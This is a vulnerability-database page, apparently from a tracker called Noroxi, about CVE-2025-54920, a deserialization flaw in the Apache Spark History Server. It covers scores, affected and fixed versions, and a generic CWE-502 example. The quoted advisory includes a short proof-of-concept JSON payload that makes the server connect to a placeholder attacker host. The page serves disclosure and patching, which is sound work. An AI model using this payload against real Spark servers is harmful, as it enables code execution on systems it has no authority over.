NVD / CVE Program· CNA apache

CVE-2025-54920: Apache Spark: Spark History Server Code Execution Vulnerability

Noroxi assessment

Priority: Monitor (action score 37/100)

The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
Probability of exploitation in the next 30 days: 5.4% (FIRST EPSS); higher than 92.7% of all records.
Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
Fixed version: Apache Software Foundation Apache Spark 3.5.7, 4.0.1.

Low priority for now. Upgrade to Apache Software Foundation Apache Spark 3.5.7, 4.0.1 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: NVD · CVE.org · FIRST EPSS

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

HighCVSS 8.8 · v3.1—No exploit Fix available

Published: Mar 16, 2026
Updated: Jun 17, 2026
EPSS: 5.4% · 92th percentile
CWE: CWE-502

Report tools

JSON

Action score

Monitor

Low priority for now.

CVSS: 35 / 40 · 8.8 / 10
CISA KEV: 0 / 30 · Not listed
EPSS: 2 / 30 · 5.4%

CISA SSVC decision

Exploitation: none
Automatable: no
Technical impact: total

Vulnrichment: CISA's decision-tree inputs.

Get told when this record changes

Not in KEV: no record of exploitation in the wild
No public exploit code on record
A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Running WordPress? Scan your site free with WP Lens

Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

Vendor	Product	CPE
apache	spark	cpe:2.3:a:apache:spark

Affected versions

NVD version ranges (for catalog products). Add the product to your stack with a version and matching uses these.

apache sparkbefore 3.5.7
apache spark4.0.0
apache spark4.0.1

Versions reported by the vendor

Affected version ranges reported by the assigning authority (apache). Independent of NVD's CPE analysis and usually ahead of it.

Apache Software Foundation Apache Spark
- before 3.5.7affected · semver
- 4.0.0 and later · before 4.0.1affected · semver

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

Ecosystem	Package	Affected range	Fix
Maven	org.apache.spark:spark-core_2.10	up to and including 2.2.3	—
Maven	org.apache.spark:spark-core_2.11	up to and including 2.4.8	—
Maven	org.apache.spark:spark-core_2.12	before 3.5.7	3.5.7
Maven	org.apache.spark:spark-core_2.13	from 4.0.0 · before 4.0.1	4.0.1
Maven	org.apache.spark:spark-core_2.13	before 3.5.7	3.5.7
Maven	org.apache.spark:spark-core_2.9.3	up to and including 0.8.1-incubating	—

Same product

apache: all records

Other highest-scoring records for the same primary product.

CVE-2022-33891Apache Spark shell command injection vulnerability via Spark UIKEV
93Now
CVE-2023-32007Apache Spark: Shell command injection via Spark UI
58Plan
CVE-2020-9480In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication (spark.authenticate) v
48Plan

Published before and after this one in the same product

← EarlierCVE-2023-22946Apr 17, 2023 · Apache Spark proxy-user privilege escalation from malicious configuration class
39Monitor
← EarlierCVE-2025-55039Oct 15, 2025 · Apache Spark, Apache Spark: RPC encryption defaults to unauthenticated AES-CTR mode, enabling man-in-the-middle ciphertext modification attacks
26Monitor
Later →CVE-2026-32773Sep 2, 2026 · Apache Spark: XSS Vulnerability in Spark Web 3.5.4
24Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / package	Fixed version	Source
Apache Software Foundation Apache Spark	3.5.7	Vendor (CNA)
Apache Software Foundation Apache Spark	4.0.1	Vendor (CNA)
Maven:org.apache.spark:spark-core_2.12	3.5.7	Package registry (OSV)
Maven:org.apache.spark:spark-core_2.13	3.5.7	Package registry (OSV)
Maven:org.apache.spark:spark-core_2.13	4.0.1	Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

No history yet (it accumulates with the daily EPSS job).

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Credits

All researchers

Finders, reporters and analysts named in the CNA record. Click a name for that researcher’s other records.

Alexandre Pujol (Linagora)finder

Variant candidates

Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.

—

Chain candidates

An authentication bypass and a privilege-requiring bug in the same product, published close together: combined they may become an unauthenticated path.

CVE-2025-55039152 days apartApache Spark, Apache Spark: RPC encryption defaults to unauthenticated AES-CTR mode, enabling man-in-the-middle ciphertext modification attacks
26Monitor

Bug bounty scope

No known public program.

Source: bounty-targets-data (public HackerOne, Bugcrowd, Intigriti, YesWeHack listings).

Technical details

Attack conditions

Anyone who can reach it over the internet can trigger it.
A low-privileged account is enough.
No user action is required.
No special conditions are required; it is repeatable.

If successful

Confidentiality: high · data can be read
Integrity: high · data or configuration can be modified
Availability: high · the service can be disrupted

Attack vector: Network
Attack complexity: Low
Privileges required: Low
User interaction: None
Scope: Unchanged
Confidentiality impact: High
Integrity impact: High
Availability impact: High

Weakness class (CWE)

CWE-502 · Deserialization of Untrusted Data

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvd-secondary

Root cause

Data received over the network is deserialized into the language’s native object format without verifying its source. Code paths inside the object can be triggered during deserialization.

The bug in code

The whole CWE-502 class

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

python

1payload = sock.recv(65536)
2job = pickle.loads(payload)

Fixed

python

1payload = sock.recv(65536)
2if not hmac.compare_digest(sign(payload), header_sig):
3    raise PermissionError("invalid signature")
4job = JobSchema.validate(json.loads(payload))